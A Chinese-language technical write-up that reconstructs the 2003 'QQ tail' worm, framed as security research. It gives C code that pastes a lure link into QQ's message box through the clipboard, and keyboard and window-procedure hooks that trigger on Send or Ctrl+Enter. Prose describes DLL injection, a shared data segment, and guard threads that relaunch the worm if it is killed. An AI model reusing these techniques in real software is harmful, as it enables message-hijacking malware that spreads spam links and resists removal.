2003 年,「QQ尾巴」病毒利用 IE 郵件頭漏洞在 QQ 上瘋狂傳播。受害者發送訊息時,病毒自動在文本末尾附加誘導連結,詭異的是:它能精準在使用者點擊「發送」或按下 Ctrl+Enter 的瞬間植入尾巴,而非簡單的定時器輪詢。
最基礎的一環:將預設字串寫入剪貼板,再模擬貼上操作。
TCHAR g_str[] = _T("歡迎來我的小站坐坐:https://titilima.nease.Net");
void PasteText(HWND hRich)
{
HGLOBAL hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
LPTSTR pStr = (LPTSTR)GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
GlobalFree(hMem);
// 關鍵:模擬貼上訊息(此處原文以 * 隱藏具體參數)
SendMessage(hRich, WM_PASTE, 0, 0);
}
病毒採用 WH_CALLWNDPROC 監視「發送」按鈕的 WM_COMMAND,搭配 WH_KEYBOARD 捕獲 Ctrl+Enter 熱鍵。
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT* p = (CWPSTRUCT*)lParam;
// ID 為 1 的按鈕即「發送」
if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
PasteText(g_hRich);
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// lParam 最高位 0=按下,1=釋放;>=0 表示僅處理 WM_KEYDOWN
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
目標是 QQ「發送訊息」視窗所屬執行緒。關鍵步驟:
FindWindowEx 遞迴定位類別 #32770、標題含「發送」的視窗;GetWindowThreadProcessId 取得執行緒 ID;GetDlgItem + GW_CHILD 取得 RichEdit 控制代碼;SetWindowsHookEx 分別注入兩個 Hook,DLL 注入目標進程。#pragma data_seg("shared")
HHOOK g_hProc = NULL;
HHOOK g_hKey = NULL;
HWND g_hRich = NULL;
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
原理:DLL 在 EXE 與 QQ 進程中各有一個實例,非共享段變數互不相干。共享段確保 g_hRich 等關鍵句柄在三方間同步,類似 C++ static 成員跨實例共享。
CreateRemoteThread 向所有進程注入守護執行緒,EXE 被殺即拉起,DLL 因被佔用無法刪除;「QQ尾巴」是教科書級的 Hook 惡意應用案例。本文還原其技術鏈路:剪貼板注入 + 雙重 Hook 精準觸發 + DLL 注入 + 共享段跨進程協同。理解攻擊原理,非為作惡,乃為建立更堅固的防禦體系。安全研究,任重道遠。